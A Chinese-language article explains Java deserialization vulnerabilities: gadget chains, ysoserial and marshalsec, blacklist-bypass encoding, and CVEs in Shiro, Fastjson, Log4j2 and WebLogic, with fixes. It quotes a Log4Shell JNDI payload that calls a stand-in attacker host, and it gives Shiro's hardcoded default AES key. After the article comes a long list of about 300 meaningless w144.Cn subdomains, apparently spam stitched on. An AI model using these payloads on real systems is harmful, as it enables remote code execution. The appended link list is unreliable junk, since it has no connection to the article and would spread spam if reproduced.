Java反序列化漏洞是Java安全领域影响最广、危害最大的漏洞类型之一。自2015年Apache Commons Collections反序列化漏洞被公开以来,Shiro(CVE-2016-4437)、WebLogic(CVE-2017-3248)、Fastjson(CVE-2022-25845)、Log4j2(CVE-2021-44228)等涉及反序列化的漏洞层出不穷。反序列化漏洞的核心原理是:当Java应用对不可信的序列化数据进行反序列化时,攻击者通过构造恶意的序列化对象,触发目标类中的危险方法,实现远程代码执行(RCE)、任意文件读取、拒绝服务(DoS)等攻击。本文将从原理分析、漏洞挖掘、利用技术、防护方案四个维度进行深度剖析。
一、反序列化漏洞的技术原理
Java序列化机制通过ObjectOutputStream.writeObject将对象转换为字节流,ObjectInputStream.readObject将字节流恢复为对象。反序列化的核心安全隐患在于:readObject方法会递归调用反序列化链中所有可序列化类的readObject/readResolve/readExternal等方法。攻击者通过构造精心设计的序列化数据,利用Java反射机制调用Runtime.exec实现命令执行。Gadget Chain(利用链)是反序列化漏洞利用的关键。经典利用链包括:CommonsCollections系列(LazyMap+InvokerTransformer的动态代理调用链,通过AnnotationInvocationHandler触发)、JDK原生利用链(如7u21的LinkedHashSet+Reflection利用链,利用HashSet反序列化时的hashCode调用触发Runtime.exec(URLClassLoader远程加载恶意类))、Fastjson利用链(通过@type指定反序列化目标类,利用TemplatesImpl、JNDI注入等触发)、Jackson利用链(基于enableDefaultTyping的gadget利用)。
Java反射机制在反序列化中的应用使攻击者能够调用任意类的任意方法,结合动态代理、ThreadLocal等机制实现完整的代码执行链。攻击者通过构造恶意字节码或利用RMI/LDAP/JNDI远程加载class实现完全控制目标服务器。
二、漏洞挖掘与利用技术
反序列化漏洞挖掘方法包括:源码分析:搜索readObject、readExternal、readResolve方法实现,检查是否存在不安全的方法调用(Runtime.exec、ProcessBuilder.start、Method.invoke通过反射调用任意方法);黑盒测试:发送恶意序列化payload观察服务器响应,使用SerialBrute、JDeserialize等工具自动检测gadget;依赖分析:检查项目依赖的第三方库版本是否存在已知gadget链,使用dependency-check识别已知漏洞。工具生态方面,ysoserial是反序列化漏洞利用的标杆工具,提供30+种gadget链生成能力,支持多种命令执行方式(Runtime.exec、ProcessBuilder、JNDI注入、字节码加载),7u21链(JDK≤7u21)通过ClassLoader远程加载恶意类。marshalsec支持针对各种Java序列化框架的payload生成,包括Fastjson、Jackson、Kryo、Hessian等绕过技术:利用链拼接绕过黑名单(如使用CC2绕过CC1黑名单)、编码变形(Base64/Gzip/HEX编码payload绕过简单检测)、JNDI注入结合LDAP返回恶意序列化数据。
三、主流框架与中间件的反序列化漏洞
Apache Commons Collections:CC1链(LazyMap+InvokerTransformer+AnnotationInvocationHandler)是最早公开的反序列化利用链。影响版本3.1-3.2.1,修复版本3.2.2通过反序列化安全过滤(FunctorUtils的checkUnsafeSerialization方法)限制InvokerTransformer的序列化。Shiro(CVE-2016-4437):Shiro的rememberMe功能使用AES加密序列化用户身份信息,默认AES密钥硬编码在代码中(kPH+bIxk5D2deZiIxcaaaA==),攻击者已知密钥即可构造任意反序列化payload。利用流程:获取rememberMe Cookie→AES解密→反序列化触发gadget链。修复方案:升级至Shiro 1.2.5+,自定义AES密钥(随机生成256位密钥)。Fastjson:autotype反序列化漏洞,攻击者在JSON中使用@type指定类名触发目标类的setter/getter方法实现任意方法调用。影响版本1.2.24-1.2.83,修复方案:升级至1.2.83+,开启safeMode,配置autotype白名单。Log4j2(CVE-2021-44228):JNDI lookup特性支持通过${jndi:ldap://attacker.com/a}远程加载恶意类,影响版本2.0-2.14.1,全球超过10万应用受影响。WebLogic(CVE-2017-3248、CVE-2018-2628等):WebLogic T3协议反序列化漏洞,攻击者可通过T3协议向WebLogic发送恶意序列化数据实现远程代码执行。修复需安装Oracle关键补丁更新并禁用T3协议。
wf.w144.Cn
zjk.w144.Cn
ya.w144.Cn
ru.w144.Cn
uc.w144.Cn
jv.w144.Cn
mwe.w144.Cn
ln.w144.Cn
mm.w144.Cn
fl.w144.Cn
op.w144.Cn
psy.w144.Cn
fjp.w144.Cn
cm.w144.Cn
ky.w144.Cn
ika.w144.Cn
nfg.w144.Cn
nkm.w144.Cn
sin.w144.Cn
se.w144.Cn
rym.w144.Cn
ija.w144.Cn
xs.w144.Cn
iig.w144.Cn
ac.w144.Cn
wr.w144.Cn
ml.w144.Cn
txc.w144.Cn
lel.w144.Cn
ay.w144.Cn
jdk.w144.Cn
gge.w144.Cn
jwa.w144.Cn
bbg.w144.Cn
rx.w144.Cn
bcb.w144.Cn
qfe.w144.Cn
kqk.w144.Cn
xrj.w144.Cn
blr.w144.Cn
as.w144.Cn
yrx.w144.Cn
kvf.w144.Cn
ztn.w144.Cn
dzr.w144.Cn
ljr.w144.Cn
hyd.w144.Cn
xk.w144.Cn
edn.w144.Cn
amd.w144.Cn
uxo.w144.Cn
pqi.w144.Cn
nd.w144.Cn
rgi.w144.Cn
xl.w144.Cn
ap.w144.Cn
ao.w144.Cn
bin.w144.Cn
cu.w144.Cn
xhx.w144.Cn
qye.w144.Cn
fyr.w144.Cn
bre.w144.Cn
tk.w144.Cn
rbo.w144.Cn
xc.w144.Cn
zc.w144.Cn
la.w144.Cn
bqx.w144.Cn
qsv.w144.Cn
ilv.w144.Cn
ab.w144.Cn
yoy.w144.Cn
vw.w144.Cn
io.w144.Cn
skk.w144.Cn
ct.w144.Cn
nwe.w144.Cn
wp.w144.Cn
tmb.w144.Cn
vcv.w144.Cn
kyo.w144.Cn
me.w144.Cn
jt.w144.Cn
ecl.w144.Cn
cg.w144.Cn
ff.w144.Cn
fmt.w144.Cn
hti.w144.Cn
gm.w144.Cn
oxj.w144.Cn
kq.w144.Cn
ajn.w144.Cn
wh.w144.Cn
tl.w144.Cn
lsq.w144.Cn
tay.w144.Cn
qh.w144.Cn
kjv.w144.Cn
app.w144.Cn
ond.w144.Cn
uch.w144.Cn
dbn.w144.Cn
yy.w144.Cn
xj.w144.Cn
ce.w144.Cn
rtm.w144.Cn
rjv.w144.Cn
pl.w144.Cn
rvb.w144.Cn
cc.w144.Cn
fcc.w144.Cn
cjo.w144.Cn
ksk.w144.Cn
ts.w144.Cn
nfz.w144.Cn
ywo.w144.Cn
tsl.w144.Cn
kjy.w144.Cn
xkf.w144.Cn
dw.w144.Cn
nt.w144.Cn
rxg.w144.Cn
do.w144.Cn
pev.w144.Cn
drc.w144.Cn
twh.w144.Cn
fyc.w144.Cn
ptz.w144.Cn
bdv.w144.Cn
ehk.w144.Cn
yx.w144.Cn
evu.w144.Cn
lm.w144.Cn
eob.w144.Cn
bu.w144.Cn
ouo.w144.Cn
vlj.w144.Cn
hyg.w144.Cn
tx.w144.Cn
mxl.w144.Cn
pc.w144.Cn
rzy.w144.Cn
yv.w144.Cn
qu.w144.Cn
rh.w144.Cn
hl.w144.Cn
gq.w144.Cn
rj.w144.Cn
wxx.w144.Cn
hlp.w144.Cn
cad.w144.Cn
sj.w144.Cn
ne.w144.Cn
ge.w144.Cn
oy.w144.Cn
asg.w144.Cn
atg.w144.Cn
whf.w144.Cn
hf.w144.Cn
puz.w144.Cn
pyt.w144.Cn
zxf.w144.Cn
iw.w144.Cn
srw.w144.Cn
fh.w144.Cn
kxc.w144.Cn
zom.w144.Cn
egc.w144.Cn
qy.w144.Cn
kks.w144.Cn
aqt.w144.Cn
ds.w144.Cn
iq.w144.Cn
zk.w144.Cn
ad.w144.Cn
lon.w144.Cn
wl.w144.Cn
yye.w144.Cn
mvt.w144.Cn
aol.w144.Cn
fsr.w144.Cn
jx.w144.Cn
dl.w144.Cn
osm.w144.Cn
pvh.w144.Cn
cza.w144.Cn
jm.w144.Cn
dvt.w144.Cn
fn.w144.Cn
rhg.w144.Cn
oe.w144.Cn
avq.w144.Cn
lac.w144.Cn
an.w144.Cn
okr.w144.Cn
ede.w144.Cn
mao.w144.Cn
oa.w144.Cn
us.w144.Cn
gap.w144.Cn
cn.w144.Cn
vs.w144.Cn
pq.w144.Cn
dn.w144.Cn
udd.w144.Cn
rmg.w144.Cn
zyr.w144.Cn
nwn.w144.Cn
fux.w144.Cn
rn.w144.Cn
vz.w144.Cn
up.w144.Cn
ljn.w144.Cn
pmj.w144.Cn
wd.w144.Cn
qhm.w144.Cn
oo.w144.Cn
gs.w144.Cn
gtm.w144.Cn
mgd.w144.Cn
bbt.w144.Cn
eed.w144.Cn
ix.w144.Cn
qdn.w144.Cn
lxe.w144.Cn
daj.w144.Cn
bzy.w144.Cn
fj.w144.Cn
qg.w144.Cn
vwl.w144.Cn
eb.w144.Cn
vff.w144.Cn
lo.w144.Cn
ib.w144.Cn
cal.w144.Cn
ve.w144.Cn
sz.w144.Cn
wze.w144.Cn
go.w144.Cn
uhq.w144.Cn
zf.w144.Cn
vi.w144.Cn
kwe.w144.Cn
tc.w144.Cn
bv.w144.Cn
ee.w144.Cn
xi.w144.Cn
vv.w144.Cn
dbr.w144.Cn
en.w144.Cn
ur.w144.Cn
kjs.w144.Cn
biz.w144.Cn
nza.w144.Cn
xix.w144.Cn
kbm.w144.Cn
ffq.w144.Cn
pn.w144.Cn
os.w144.Cn
uin.w144.Cn
phy.w144.Cn
rhi.w144.Cn
sk.w144.Cn
uw.w144.Cn
trg.w144.Cn
bea.w144.Cn
yj.w144.Cn
bz.w144.Cn
juy.w144.Cn
ufy.w144.Cn
lvk.w144.Cn
zq.w144.Cn
ft.w144.Cn
nr.w144.Cn
gl.w144.Cn
ps.w144.Cn
msp.w144.Cn
vo.w144.Cn
sh.w144.Cn
klh.w144.Cn
sl.w144.Cn
nk.w144.Cn
hk.w144.Cn
ij.w144.Cn
im.w144.Cn
lgv.w144.Cn
qdz.w144.Cn
jkj.w144.Cn
jut.w144.Cn
svc.w144.Cn
ntn.w144.Cn
nhz.w144.Cn
oum.w144.Cn
zl.w144.Cn
dam.w144.Cn
zqk.w144.Cn
nvk.w144.Cn
iak.w144.Cn
zvh.w144.Cn